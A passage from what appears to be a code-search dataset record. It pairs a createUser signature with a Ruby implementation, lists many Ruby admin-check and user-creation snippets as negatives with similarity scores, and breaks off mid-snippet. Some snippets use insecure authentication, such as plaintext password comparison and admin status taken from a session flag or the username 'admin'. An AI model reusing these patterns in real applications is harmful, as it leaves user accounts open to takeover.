registration_user_path unless User.exists?(email: current_userlogin.email)\n end", "def fetch_admin\n @admin = Admin.where(email: @email).first\n\n return incorrect_login_error('is_deleted') if @admin.present? &&\n @admin.status == GlobalConstant::Admin.deleted_status\n\n return incorrect_login_error('am_l_pa_2') unless @admin.present? &&\n @admin.status == GlobalConstant::Admin.active_status\n\n success\n end", "def check_Admin\n\t\tif current_user.role != \"admin\"\n\t\t\tredirect_to('/')\n\t\tend\n\tend", "def check_admin\n redirect_to :root unless current_user.admin?\n end", "def admin?\n\t\t\t\tsession[:admin] == true\n\t\t\tend", "def adminlogged_in?\n !!current_administrator\n end", "def admin_logged_in!\n return if current_admin.present?\n \n flash[:alert] = \"You must be signed in as an administrator\"\n redirect_to login_url\n end", "def admin_logged_in?\n current_user && current_user.admin?\n end", "def is_admin\n unless admin?\n flash[:danger]= t 'h.sessions.requireadmin'\n redirect_to(root_url)\n end\n end", "def admin_check\n render_401 && return unless current_user\n render_403 && return unless current_user.admin?\n end", "def is_admin?\n current_user ? current_user.login == 'admin' : false\n end", "def admin?\n session[:admin] ==true\n end", "def is_admin_access\n if session[:is_admin] == \"true\"\n return true\n else\n if current_user.present?\n admin_status = User::ADMIN_ACCESS.include?(current_user.email)\n if admin_status\n session[:is_admin] = \"true\"\n return true\n else\n flash[:notice] = \"You don't have admin access. You cannot access this page.\"\n redirect_to root_path\n end\n else\n flash[:notice] = \"You don't have admin access. You cannot access this page.\"\n redirect_to root_path\n end\n end\n end", "def check_admin\n ac = AdminConfigFile.new\n ac.read\n @admin = ac.exist?(@user_id)\n end", "def checkIsAdmin?\n # Get the current user.\n user = User.get(:current)\n \n # An admin user is defined by their username being 'admin'.\n return user['login'] == 'admin'\n rescue ActiveResource::UnauthorizedAccess => e\n @error = e.message\n return false\n rescue ActiveResource::ConnectionError => e\n @error = e.message\n return false\n rescue Errno::ECONNREFUSED => e\n @error = \"Unable to connect to #{@site}\"\n return false\n end", "def verify_admin?\n return if current_user.admin?\n\n flash[:alert] = \"Sorry, only admins allowed to view the dashboard.\"\n redirect_to :root\n end", "def admin?\n\t\t\tsession[:admin]\n\t\tend", "def check_if_admin\n redirect_to(root_path) unless @current_user.is_admin?\n end", "def check_if_admin\n redirect_to(root_path) unless @current_user.is_admin?\n end", "def admin?\n user = check_user\n user.role == User.role_types['Admin']\n end", "def user_admin?\n \t@admin_user = Usuario.find(session[:user_id]).admin\n end", "def admin_authenticate\n authenticate and return if @logged_in.nil?\n unauthorized if !@sso_groups.include?(\"Admin\")\n end", "def admin_logged_in\n unless (logged_in? && current_employee.admin)\n flash[:danger] = \"Please log in to access this page.\"\n redirect_to adminlogin_path\n end\n end", "def logged_in_as_admin?\n !current_admin.nil?\n end", "def admin?\n logged_in? && current_user.admin?\n end", "def logged_admin?\n !current_admin.nil?\n end", "def admin?\n @usuario_actual = Usuario.find_by_id(session[:user_id])\n return true if @usuario_actual.admin?\n \n redirect_to new_session_path and return false\n end", "def admin?\n logged_in? and current_user.admin?\n end", "def admin?\n logged_in? && current_user.admin\n end", "def logged_in_as_admin?\n current_admin != :false\n end", "def admin?\n session[:admin] ? true : false\n end", "def admin?\n #warning: ADMIN must have id 0, rake db:seed to get admin and sample user\n logged_in? && current_user.admin\n end", "def admin? \n (logged_in? && current_member.admin?) ? true : false\n end", "def check_for_admin\n unless user_signed_in? && current_user.admin?\n redirect_to root_path\n end\n end", "def check_for_admin\n unless user_signed_in? && current_user.admin?\n redirect_to root_path\n end\n end", "def check_for_admin\n unless user_signed_in? && current_user.admin?\n redirect_to root_path\n end\n end", "def check_for_admin\n unless user_signed_in? && current_user.admin?\n redirect_to root_path\n end\n end", "def check_admin\n redirect_to root_path, alert: \"You do not have admin privileges.\" unless current_user.admin\n end", "def check_admin\n redirect_to root_path, alert: \"You do not have admin privileges.\" unless current_user.admin\n end", "def logged_in?\n !session[:admin].nil?\n end", "def check_if_admin\n redirect_to root_path unless @current_user.present? && @current_user.admin?\n end", "def check_if_admin\n if !current_user.admin?\n flash[:alert] = 'Sorry, only admins allowed!'\n redirect_to root_path\n end\n end", "def check_admin_authentication\n if session[:user] and is_admin?\n return true\n end\n # call overwriteable reaction to unauthorized access\n access_denied\n return false \n # unless session[:user] and is_admin?\n # session[:intended_action] = action_name\n # session[:intended_controller] = '/admin/' + controller_name\n # session[:intended_id] = params[:id]\n # flash[:error] = 'You must be logged in as an administrator to access this resource.'\n # redirect_to :controller => '/account', :action => 'login'\n # end\n end", "def admin_signed_in?\n !current_user.nil? && current_user.AdminScreen?\n end", "def verify_admin\r\n if User.admins.blank?\r\n raise ApplicationSetupError, \"\\n\\n**Error: No admin user exists! Please run 'rake setup RAILS_ENV=#{$tmp_env}' to create an initial admin user.**\\n\\n\\n\"\r\n end \r\n end", "def admin_user?\n (current_user.role == 'admin') if logged_in?\n end", "def logged_in?\n !current_admin.nil?\n end", "def logged_in?\n !current_admin.nil?\n end", "def admin?\n\tif session[:customer_id].nil?\n\t\treturn\n\telse\n signed_in? == true\n\t@current_customer == Customer.find_by_id(3)\n\tend\nend", "def ensure_admin!\n # D: Send admin status to log\n logger.debug \"current_user.admin? => #{current_user.admin?}\"\n unless current_user.admin?\n flash[:notice] = 'You do not have sufficient privileges.'\n redirect_to root_path\n return false\n end \n end", "def verify_admin\n render_401 unless current_user.is_admin?\n end", "def is_admin\n \tif current_user != nil\n\t \t \tif !current_user.admin\n redirect_to root_path, :alert => \"Acceso denegado\"\n\t \tend\n\t\t else\n redirect_to root_path, :alert => \"Acceso denegado\"\n\t\t end\n \t\t\n\n end", "def is_admin\n if current_user.admin \n return true\n else\n redirect_to new_user_session_path\n return false\n end\n end", "def admin? ; user.instance_of? User and user.role >= 2 ; end", "def authenticate_admin\n flag = Admin.userAdmin?(session[:user])\n if flag == \"1\"\n return true\n else\n redirect_to :controller => 'app', :action => 'messageUserLogin', :token => \"admin\"\n return\n end\n end", "def is_admin?\n redirect_to home_index_path, alert: '请以管理员身份登陆后进行操作!' unless user_signed_in?&&current_user.admin?\n end", "def is_admin?\n redirect_to home_index_path, alert: '请以管理员身份登陆后进行操作!' unless user_signed_in?&&current_user.admin?\n end", "def check_login\n\n if User.where({ :username => params[:username] }).first\n found_user = User.where({ :username => params[:username] }).first\n\n if found_user && found_user.password == params[:password]\n session[:property_admin_id] = found_user.id\n flash[:success] = \"You successfully logged in!\"\n redirect_to admin_index_path\n return\n else\n flash[:error] = \"Wrong password, please try again.\"\n redirect_to admin_login_path\n return\n end\n \n else\n\n flash[:error] = \"User doesn't exist, please try again.\"\n redirect_to admin_login_path\n return\n\n end\n\n end", "def admin_user?\n self.admin ==true\n end", "def needs_login?() false end" ]
[ "0.75340384", "0.75340384", "0.74926984", "0.7475455", "0.73342407", "0.7300918", "0.7287988", "0.7267489", "0.7211535", "0.7167229", "0.70954794", "0.7076841", "0.70181346", "0.7008166", "0.7005889", "0.7005889", "0.7001604", "0.69728214", "0.69682425", "0.69620115", "0.6948197", "0.69425285", "0.6937796", "0.69281596", "0.69280106", "0.6927785", "0.69107586", "0.6908083", "0.69057", "0.6894847", "0.6888969", "0.68869257", "0.6870038", "0.6867567", "0.6864893", "0.68612367", "0.68528485", "0.6843936", "0.68400383", "0.68186367", "0.68145144", "0.68117166", "0.6811001", "0.6807026", "0.68033785", "0.6799042", "0.6797601", "0.6794011", "0.6793614", "0.67927235", "0.67923087", "0.6780084", "0.6777757", "0.6777452", "0.6776688", "0.67746675", "0.6765254", "0.67648894", "0.676239", "0.676239", "0.67603993", "0.6753599", "0.6736654", "0.67331606", "0.6732211", "0.6728402", "0.6727216", "0.67271775", "0.6721399", "0.67037994", "0.67011696", "0.6684306", "0.66839707", "0.668207", "0.6681528", "0.6681528", "0.6681528", "0.6681528", "0.6677812", "0.6677812", "0.6675823", "0.66697717", "0.66697", "0.6665825", "0.66641515", "0.66629857", "0.666146", "0.6657766", "0.6657766", "0.66541636", "0.66509956", "0.6647189", "0.66469586", "0.664689", "0.6645426", "0.66321135", "0.66284096", "0.66284096", "0.6627901", "0.66180146", "0.66172534" ]
0.0
-1
public static boolean createUser(String userName, String password, boolean isAdminUser, String webGroups[], String adminGroup, String fName, String lName, String email, Properties additionalUserInformation)
def createUser(userName, password, isAdminUser, webGroups, adminGroup, fName, lName, email, additionalUserInformation) @ACCESS_CONTROL.createNewUser(userName, webGroups[0], email, fName, lName, password) at = 0 webGroups.each{ |group| @ACCESS_CONTROL.setUserField(userName, "group#{at}", webGroups[at]) at = at.next } additionalUserInformation.keys.each{ |key| @ACCESS_CONTROL.setUserField(userName, key, additionalUserInformation[key]) } if(isAdminUser) @ADMIN_ACCESS_CONTROL.createNewUser(userName, adminGroup, email, fName, lName, password) additionalUserInformation.keys.each{ |key| @ADMIN_ACCESS_CONTROL.setUserField(userName, key, additionalUserInformation[key]) } end return true end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def createNewUser(userName, initialGroup, userEmail, fname, lname, password)\n\n password = password.encrypt\n user = {\"login\" => userName,\n \"group0\" => initialGroup,\n \"email\" => userEmail,\n \"fname\" => fname,\n \"lname\" => lname,\n \"password\" => password,\n \"orga\" => \"0\"}\n saveUser(userName, user)\n end", "def create_user(username:, password: 'pppppp', groups: [ 'administrator' ])\n # Ensure the User and Roles are gone before explicitly creating.\n delete_user(username)\n user = User.create!(username: username, email: username, password: 'pppppp', password_confirmation: 'pppppp')\n groups.each do |group|\n Avalon::RoleControls.add_role(group) unless Avalon::RoleControls.role_exists? group\n Avalon::RoleControls.add_user_role(username, group)\n end\n user\n end", "def createUser(admin=false) \n usr = User.new \n usr.Admin = admin \n @Users.add usr \n end", "def user_create(name='admin', is_admin=true)\n key = \"#{name}:#{is_admin}\"\n UserCache.instance[key] ||= User.find_or_create_by_name(name) do |u|\n u.email_address = \"#{u.name}@concord.org\"\n u.password = u.password_confirmation = \"#{u.name}pAsS\"\n u.state = 'active'\n u.administrator = is_admin\n end\nend", "def add_user(name, is_admin, building_id, notify_new_request= false, notify_new_listing=false)\n user_id = User.create(\n first_name: name,\n last_name: 'LNU',\n email: 'jack+' + name + '@jackmgill.com',\n password: 'foo',\n is_admin: is_admin,\n building_id: building_id,\n notify_new_request: notify_new_request,\n notify_new_listing: notify_new_listing\n ).id\n return user_id\nend", "def create_admin_user(args = {})\n create(:user, :admin, email: args.fetch(:email), password: args.fetch(:password))\n end", "def create_user(username, options = {})\n payload = {\n \"username\" => username,\n \"email\" => \"#{username}@opscode.com\",\n \"first_name\" => username,\n \"last_name\" => username,\n \"display_name\" => username,\n \"password\" => \"foobar\"\n }\n\n users_url = \"#{@server}/users\"\n\n r = post(users_url, @superuser, :payload => payload)\n if r.code == 409\n puts \"The user #{username} already exists... regenerating a key for it now\"\n payload[\"private_key\"] = true\n r = put(\"#{users_url}/#{username}\", @superuser, :payload => payload)\n end\n\n private_key = parse(r)[\"private_key\"]\n\n # The \"admin\" and \"associate\" options here are more of a metadata\n # than actually creating an admin or associating. This allows\n # Pedant tests to succeed even if the users config table has changed.\n Pedant::User.new(username, private_key, platform: self, preexisting: false, admin: options[:admin], associate: options[:associate])\n end", "def create_admin(first_name:, last_name:, email:)\n admin = create_user\n admin.update(\n first_name: first_name,\n last_name: last_name,\n email: email,\n admin: true\n )\nend", "def create_user(**args)\n params = parameters(args) do\n required_params :name, :email, :active_flag\n optional_params :name, :email, :active_flag\n end\n request(:post, 'users', params)\n end", "def createuser(email, password, name, avatar)\n password_digest = BCrypt::Password.create(password)\n admin = \"0\"\n db.execute(\"INSERT INTO users(email, password, name, avatar, admin) VALUES (?,?,?,?,?)\", [email, password_digest, name, avatar, admin])\nend", "def create_user(email, password, full_name = nil, language = nil)\n options = { email: email, password: password }\n options[:language] = language if language\n options[:full_name] = full_name if full_name\n\n query_api '/auth/user', options\n end", "def create\n params[\"user\"].each {|key, value| value.strip!}\n params[\"user\"][\"email\"].downcase!\n \n new_user = User.new(params[\"user\"])\n new_user.password = params[\"user\"][\"password_hash\"]\n\n if new_user.save\n flash[:message] = \"New administrator successfully created:<br>\n <ul><li><strong>Name:</strong> #{new_user.user_name}</li>\n <li><strong>Email:</strong> #{new_user.email}</li>\n <li><strong>ID:</strong> #{new_user.id}</li>\n <li><strong>Privilege Level:</strong> #{new_user.privilege}</li></ul>\"\n redirect_to \"/admin/update_library\"\n \n else \n @error_messages = new_user.errors.to_a\n @user = User.new\n @users_array = User.select(\"email\")\n render \"new\"\n end\n end", "def create_user(name, email, password, language='de', send_newsletter=true)\n data = { 'name' => name, 'email' => email, 'password' => password, 'language' => language, 'affiliate_client_id' => @client_id} #'send_newsletter' => send_newsletter,\n return query_api(\"/auth/user\", data)\n end", "def create\n login = user_params[:login]\n first = user_params[:first_name]\n last = user_params[:last_name]\n key = user_params[:key]\n\n raise \"not authorized\" unless is_admin\n\n if login.blank? || first.blank? || last.blank? || key.blank?\n raise \"all fields are required\"\n elsif LDAP::User.create(login, first, last, key)\n render_success(\"user #{login} created.\")\n else\n render_failure(\"failed to create user\")\n end\n rescue => e\n render_failure(e.message)\n end", "def create_user_if_valid(user_fields)\n ActiveRecord::Base.transaction do\n begin\n @user = User.create!(user_fields)\n if @user\n UserMailer.notify_admin(@user).deliver\n flash[:notice] = \"Thank you for registering, a confirmation will be sent to you shortly\"\n return true\n end\n return false\n rescue Exception => e\n @user = nil\n @user_error = e\n return false\n end\n end\n end", "def create_user(options={})\n\t\t\tUser.create({\n\t\t\t\tusername: \"user example\",\n\t\t\t\temail: \"example@email.com\",\n\t\t\t\tpassword: \"password\",\n\t\t\t\tpassword_confirmation: \"password\"\n\t\t\t}.merge(options))\n\t\tend", "def add_user(username, password, email)\n password_hash = make_pw_hash(password)\n user = { _id: username, password: password_hash }\n user['email'] = email unless email.empty?\n begin\n # You need to insert the user into the users collection.\n @users.insert_one(user)\n p 'This space intentionally left blank.'\n rescue\n p 'Error MongoDB'\n return nil\n end\n true\n end", "def create_user(user)\n ary = %w(site_admin site_manager site_spectator active)\n ary.each do |perm|\n if user.key?(perm) && !(user[perm].is_a? Boolean)\n return Hash[@error =>\n format('user object: %s must be True or False', perm)]\n end\n end\n\n hash_user_password(user)\n create_or_update(user, nil, 'user', 'users')\n end", "def create_user(**data)\n create_object(type: 'User', data: { enabled: true }.merge(data))\n end", "def create_user\n if current_user.manager? || current_user.admin?\n @user = User.new(user_params)\n @user.password = 'test@123'\n @user.password_confirmation = 'test@123'\n redirect_to @user if @user.save\n else\n flash[:notice] = NOT_AUTHORIZED\n redirect_to home_index_path\n end\n end", "def create_user\n User.create name: \"test\", email: \"test@example.com\", password: \"123456\"\n end", "def create_user(user_hash={})\n @user = User.new(user_hash)\n if @user.save\n return true\n else\n return false\n end\n end", "def create_user\n User.create name: 'test', email: 'test@example.com', password: '123456'\n end", "def new_user(username, password, full_name, email)\n representation = form_encoded({ \"user[name]\" => username,\n \"user[password]\" => password,\n \"user[full_name]\" => full_name,\n \"user[email]\" => email }) \n puts representation\n begin\n response = open(@service_root + '/users', :method => :post, \n :body => representation)\n puts \"User #{username} created at #{response.meta['location']}\"\n rescue OpenURI::HTTPError => e\n response_code = e.io.status[0].to_i\n if response_code == \"409\" # Conflict\n puts \"Sorry, there's already a user called #{username}.\"\n else\n raise e\n end\n end\n end", "def create_user(name, password_digest, rank, security, mail)\n\n db = connect_to_db(\"db/db.db\")\n\n db.execute(\"INSERT INTO users (name, password, rank, security_level, mail) VALUES (?,?,?,?,?)\", name, password_digest, rank, security, mail)\n\n end", "def create_user(email = nil, login = nil, password = nil, first_name = nil, last_name = nil)\n if password == nil\n password = @pointconfig[\"generic_user_password\"]\n end\n\n res = query(\"principal-update\", \n \"email\" => email,\n \"login\" => login, \n \"password\" => password,\n \"first-name\" => first_name,\n \"last-name\" => last_name,\n \"send-email\" => false,\n \"has-children\" => 0, \n \"type\" => \"user\")\n\n puts \"ACS: user created\"\n return res.body\n end", "def create(options = {})\n params.required(:login, :email, :password).accepts(:first_name, :last_name, :group_id).validate!(options)\n request(:post, '/users.json', default_params(options))\n end", "def create_user\n User.create name: 'test', email: 'test@example.com', password: '123456'\n end", "def create_user(username, email, password)\n password_digest = BCrypt::Password.create(password)\n\n sql = <<~SQL\n INSERT INTO users \n (username, email, password_digest)\n VALUES\n ($1, $2, $3);\n SQL\n run_sql(sql, [username, email, password_digest])\nend", "def user_create(username, email, password, tenant_id)\n\t\n\t\tuser = {\"user\" => {\"name\" => username, \"email\" => email, \"enabled\" => true, \"password\" => password, \"tenantid\" => tenant_id}}\n\t\n\t\tjson_string = JSON.generate(user)\n\t\n\t\tpost_call = Curl::Easy.http_post(\"#{@ip_address}:#{@port_2}/v2.0/users\", json_string\n\t\t) do |curl|\n\t\t\tcurl.headers['x-auth-token'] = @token\n\t\t\tcurl.headers['Content-Type'] = 'application/json'\n\t\tend\n\t\t\t\t\t\t\t\t\t \n\t\tparsed_json = JSON.parse(post_call.body_str)\n\t\t\n\t\tputs parsed_json\n\t\treturn parsed_json\n\tend", "def adduser(aNewUser,aPassword,aGroup=nil)\n\t\trun \"#{sudo} adduser --gecos '' #{aGroup ? '--ingroup '+aGroup : ''} #{aNewUser}\" do |ch, stream, out|\n\t\t\tch.send_data aPassword+\"\\n\" if out =~ /UNIX password:/\n\t\tend\n\tend", "def create_user(user_email=nil)\n if user_email == nil # post path\n email = get_param(:user_email)\n else\n email = user_email # login path\n end\n user = make_user_name\n password = make_user_password\n set_param(:method, 'UsersManager.addUser')\n set_param(:userLogin, user)\n set_param(:email, email)\n set_param(:password, password)\n url_string = @metrics_admin_url+ @metrics_params.slice(:module, :method, :userLogin, :password, :email,\n :token_auth).to_query\n metrics_admin_call(url_string)\n end", "def create\n @user = User.new(user_params)\n\n if @user.save\n log_in @user\n @user.update_attributes(admin: true) if params[:user][:admin] == '1'\n flash[:success] = \"Sign up success!\"\n redirect_to @user\n else\n render 'new'\n end\n\n end", "def signup(params)\n if self.is_client?\n user = self.employees.create!(name: params[:name],last_name: params[:last_name],\n email: params[:email],password: params[:password],password_confirmation: params[:password_confirmation])\n GroupsUser.create!(user_id: user.id,group_id: params[:group_id])\n user\n else\n user = self.clients.create!(name: params[:name],email: params[:email],password: params[:password],\n password_confirmation: params[:password_confirmation])\n end\n end", "def create_admin\n unless User.find_by_email('admin@example.com')\n User.create! email: 'admin@example.com', password: 'password'\n end\nend", "def create_user(name, email, password)\n\n # Password is hashed automatically\n user = User.new(name: name, email: email, password: password)\n user.save!\n end", "def create\n @user = User.new(params[:user])\n @user.password = Password.create(@user.password)\n\n respond_to do |format|\n if !session[:user].isadmin? && params[:user].isadmin?\n flash[:error] = 'Only admins can create admins.'\n format.html { redirect_to @user }\n elsif @user.save\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render json: @user, status: :created, location: @user }\n else\n format.html { redirect_to action: \"new\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def check_admin_user(password=\"spree\", email=\"spree@example.com\")\n admin = User.find_by_login(email) || User.create( :password => password,:password_confirmation => password,\n :email => email, :login => email )\n # create an admin role and and assign the admin user to that role\n admin.roles << Role.find_or_create_by_name(\"admin\")\n admin.save!\n end", "def create\n @user = User.new(user_name: params[:user_name], email: params[:email], password: params[:password])\n @user.admin = User.all.empty?\n respond_to do |format|\n if @user.save\n format.html { redirect_to root_path, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: @user }\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_user( page, password )\n user = User.new()\n user.password = password\n user.admin = false\n \n update_user( user, page )\n end", "def create_reference_account\n User.create(:email => \"midsummer@musicalretreat.org\", :password => \"walla2\", :admin => true)\nend", "def create_reference_account\n User.create(:email => \"midsummer@musicalretreat.org\", :password => \"walla2\", :admin => true)\nend", "def create_user\n \t@user = User.new(user_params)\n @user.username = @user.name.split.sum\n \t@user.facility_id = current_user.facility_id\n \t@user.email = 'medinternational.dev'+@user.username.to_s + \"@gmail.com\"\n \t@user.language = \"english\"\n \t@user.password = \"password\"\n @user.role = Role.find_by_name(\"bmet_tech\")\n \trespond_to do |format|\n \t\tif @user.save\n \t\t\tformat.html { redirect_to settings_path, notice: 'User successfully created'}\n \t\t\tformat.json { redirect_to settings_path, notice: 'User successfully created'}\n \t\telse\n \t\t\tformat.html {redirect_to settings_path, notice: 'Failed to create user'}\n \t\t\tformat.json { render json: @user.errors, status: :unprocessable_entity}\n \t\tend\n \tend\n end", "def create\n # have name, email, password that person wants to use user_params\n # user model:\n # validate that username is unique (can add in User model)\n # validate against other criteria for user names (can't have a one-letter username, language filter)\n # create obscured version of password with BCrypt::Password.create\n # attempt to save user in database with username, password obscured version of password from the form\n user = User.new(user_params)\n if user.save\n # if user saves properly:\n \t# TODO: redirect to a user created page with instructions for email confirmation\n # log user in\n session[:user_id] = user.id\n \t# redirect to home / success\n redirect_to \"/\"\n else\n # if user does not save:\n \t# flash error message (with specifics!)\n flash[:errors] = user.errors.full_messages.join(\" \")\n \t# redirect to sign up form (/users/new)\n redirect_to signup_path\n end\n\n end", "def create_user(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'CreateUser'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :comments\n\t\t\targs[:query]['Comments'] = optional[:comments]\n\t\tend\n\t\tif optional.key? :display_name\n\t\t\targs[:query]['DisplayName'] = optional[:display_name]\n\t\tend\n\t\tif optional.key? :email\n\t\t\targs[:query]['Email'] = optional[:email]\n\t\tend\n\t\tif optional.key? :mobile_phone\n\t\t\targs[:query]['MobilePhone'] = optional[:mobile_phone]\n\t\tend\n\t\tif optional.key? :user_name\n\t\t\targs[:query]['UserName'] = optional[:user_name]\n\t\tend\n\t\tself.run(args)\n\tend", "def create\n @user = User.new(params[:user])\n respond_to do |format|\n if @user.save\n @user.is_admin = params[:user][:is_admin] if admin?\n @user.is_staff = params[:user][:is_staff]\n @user.save\n flash[:notice] = t('users.created')\n format.html { redirect_to(admin_user_url(@user)) }\n format.xml { render :xml => @user, :status => :created, :location => @user }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create_user(options = {})\n post :create, {:user => { :name => 'quire', :point_value => \"2\", :login => 'quire', :email => 'quire@example.com',\n :password => 'quire', :password_confirmation => 'quire' }.merge(options)}, {:user_id => \"1\"}\n end", "def add_user(user_data, name = nil, opts = { :client => GoodData.connection })\n generated_pass = rand(10E10).to_s\n domain_name = name || user_data[:domain]\n user_data = user_data.to_hash\n data = {\n :login => user_data[:login] || user_data[:email],\n :firstName => user_data[:first_name] || 'FirstName',\n :lastName => user_data[:last_name] || 'LastName',\n :password => user_data[:password] || generated_pass,\n :verifyPassword => user_data[:password] || generated_pass,\n :email => user_data[:email] || user_data[:login]\n }\n\n # Optional authentication modes\n tmp = user_data[:authentication_modes]\n if tmp\n if tmp.is_a? Array\n data[:authenticationModes] = tmp\n elsif tmp.is_a? String\n data[:authenticationModes] = [tmp]\n end\n end\n\n # Optional company\n tmp = user_data[:company_name]\n tmp = user_data[:company] if tmp.nil? || tmp.empty?\n data[:companyName] = tmp if tmp && !tmp.empty?\n\n # Optional country\n tmp = user_data[:country]\n data[:country] = tmp if tmp && !tmp.empty?\n\n # Optional phone number\n tmp = user_data[:phone]\n tmp = user_data[:phone_number] if tmp.nil? || tmp.empty?\n data[:phoneNumber] = tmp if tmp && !tmp.empty?\n\n # Optional position\n tmp = user_data[:position]\n data[:position] = tmp if tmp && !tmp.empty?\n\n # Optional sso provider\n tmp = user_data[:sso_provider]\n data['ssoProvider'] = tmp if tmp && !tmp.empty?\n\n # Optional timezone\n tmp = user_data[:timezone]\n data[:timezone] = tmp if tmp && !tmp.empty?\n\n c = client(opts)\n\n # TODO: It will be nice if the API will return us user just newly created\n begin\n url = \"/gdc/account/domains/#{domain_name}/users\"\n response = c.post(url, :accountSetting => data)\n rescue RestClient::BadRequest\n raise GoodData::UserInDifferentDomainError, \"User #{data[:login]} is already in different domain\"\n end\n\n url = response['uri']\n raw = c.get url\n\n # TODO: Remove this hack when POST /gdc/account/domains/{domain-name}/users returns full profile\n raw['accountSetting']['links'] = {} unless raw['accountSetting']['links']\n raw['accountSetting']['links']['self'] = response['uri'] unless raw['accountSetting']['links']['self']\n c.create(GoodData::Profile, raw)\n end", "def create\n\n @new_user = User.new\n\n new_user = @new_user.add(params['user_name'], params['pswd1'], params['email'], params['full_name'])\n\n if new_user.errors.any?\n redirect_to \"/\", :flash => { :error => 'User already exists'}\n else\n redirect_to \"/main\"\n end\n end", "def create_user(email, pass, login = nil, id = nil, cui = nil)\n send_req({\n act: :user_create,\n cloudflare_email: email,\n cloudflare_pass: pass,\n cloudflare_username: login,\n unique_id: id,\n clobber_unique_id: cui\n })\n end", "def create_user\n fake_password = Faker::Internet.password\n params = {\n user: {\n username: Faker::Internet.user_name,\n email: Faker::Internet.email,\n password: fake_password,\n password_confirmation: fake_password\n }\n }\n post signup_post_url, { params: params }\n params[:user]\n end", "def ensure_user(user_name:, email:, password:, roles:)\n user = User.where(user_name:).first\n if user.blank?\n user = User.new(user_name:, email:, roles:)\n user.password = password\n user.skip_confirmation!\n\n else\n user.email = email\n user.password = password unless user.valid_password?(password)\n user.roles = roles\n end\n user.skip_creation_email = true\n\n user.save!(validate: false)\n user\nend", "def create_user(user, password, roles, options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n hash = LoginCommand.hash_password(password)\n command = AdminCommand.new\n command.create_user(@cluster, policy, user, hash, roles)\n end", "def create_user\n command = compile_command(\"useradd\") do |useradd|\n useradd << universal_options\n useradd << useradd_options\n end\n\n run_command(:command => command)\n\n # SmartOS locks new users by default until password is set\n # unlock the account by default because password is set by chef\n if check_lock\n unlock_user\n end\n end", "def create_user(body)\n post 'create_user', body\n end", "def create_user(username, password, host)\n user = ::MySQL::User.create(username, password, host)\n !user.nil?\n end", "def add_user(opts)\n generated_pass = rand(10E10).to_s\n data = {\n :login => opts[:login] || opts[:email],\n :firstName => opts[:first_name] || 'FirstName',\n :lastName => opts[:last_name] || 'LastName',\n :password => opts[:password] || generated_pass,\n :verifyPassword => opts[:password] || generated_pass,\n :email => opts[:email] || opts[:login]\n }\n\n # Optional authentication modes\n tmp = opts[:authentication_modes]\n if tmp\n if tmp.is_a? Array\n data[:authenticationModes] = tmp\n elsif tmp.is_a? String\n data[:authenticationModes] = [tmp]\n end\n end\n\n # Optional company\n tmp = opts[:company_name]\n tmp = opts[:company] if tmp.nil? || tmp.empty?\n data[:companyName] = tmp if tmp && !tmp.empty?\n\n # Optional country\n tmp = opts[:country]\n data[:country] = tmp if tmp && !tmp.empty?\n\n # Optional phone number\n tmp = opts[:phone]\n tmp = opts[:phone_number] if tmp.nil? || tmp.empty?\n data[:phoneNumber] = tmp if tmp && !tmp.empty?\n\n # Optional position\n tmp = opts[:position]\n data[:position] = tmp if tmp && !tmp.empty?\n\n # Optional sso provider\n tmp = opts[:sso_provider]\n data['ssoProvider'] = tmp if tmp && !tmp.empty?\n\n # Optional timezone\n tmp = opts[:timezone]\n data[:timezone] = tmp if tmp && !tmp.empty?\n\n c = client(opts)\n\n # TODO: It will be nice if the API will return us user just newly created\n url = \"/gdc/account/domains/#{opts[:domain]}/users\"\n response = c.post(url, :accountSetting => data)\n\n url = response['uri']\n raw = c.get url\n\n # TODO: Remove this hack when POST /gdc/account/domains/{domain-name}/users returns full profile\n raw['accountSetting']['links'] = {} unless raw['accountSetting']['links']\n raw['accountSetting']['links']['self'] = response['uri'] unless raw['accountSetting']['links']['self']\n\n c.create(GoodData::Profile, raw)\n end", "def user_add(username, password,\n config = Hash.new)\n default_config = {\n :add_user => true,\n :password => password,\n :comment => \"\",\n :use_mail => true,\n :use_ftp => false,\n :use_file_sharing => false,\n :mail_quota => 200, # in MB\n :virus_check => false,\n :spam_filter => false\n }\n\n user_setting(username,\n default_config.merge(config))\n end", "def create_user_as_admin(user_name,e_mail,password, roles = ['gardens preview', 'acquia engineering'], browser = @browser)\n Log.logger.info(\"Logging into #{browser.browser_url} as admin and creating new user #{user_name}\")\n browser.get(@sut_url)\n login_as_admin(browser)\n browser.get(\"#{@sut_url}/users/#{user_name}\")\n\n if (browser.find_element(:xpath => \"//body\").text.include?(\"404 error\"))\n browser.get(\"#{@sut_url}/admin/user/user/create\")\n temp = browser.find_element(:id => \"edit-name\")\n temp.clear\n temp.send_keys(user_name)\n temp = browser.find_element(:id => \"edit-mail\")\n temp.clear\n temp.send_keys(e_mail)\n temp = browser.find_element(:id => \"edit-pass-pass1\")\n temp.clear\n temp.send_keys(password)\n temp = browser.find_element(:id => \"edit-pass-pass2\")\n temp.clear\n temp.send_keys(password)\n # to get the role checkbox \"//div[contains(@id,'edit-roles')]//label[contains(text(), 'administrator')]//input\"\n unless roles.nil?\n roles.each do |role|\n rol_sel = \"//div[contains(@id,'edit-roles')]//label[contains(text(), '#{role}')]//input\"\n browser.find_element(:xpath => rol_sel).click if !(browser.find_elements(:xpath => rol_sel).empty?)\n end\n end\n agree_with_tos = 'edit-I-agree'\n browser.find_element(:id => agree_with_tos).click if !(browser.find_elements(:id => agree_with_tos).empty?)\n browser.find_element(:xpath => \"//input[@id='edit-submit' and @name='op' and @value='Create new account']\").click\n else\n Log.logger.debug(\"User \" + user_name + \" appears to already exist\");\n end\n end", "def register_user(mail, password_digest, date_joined, admin)\n return 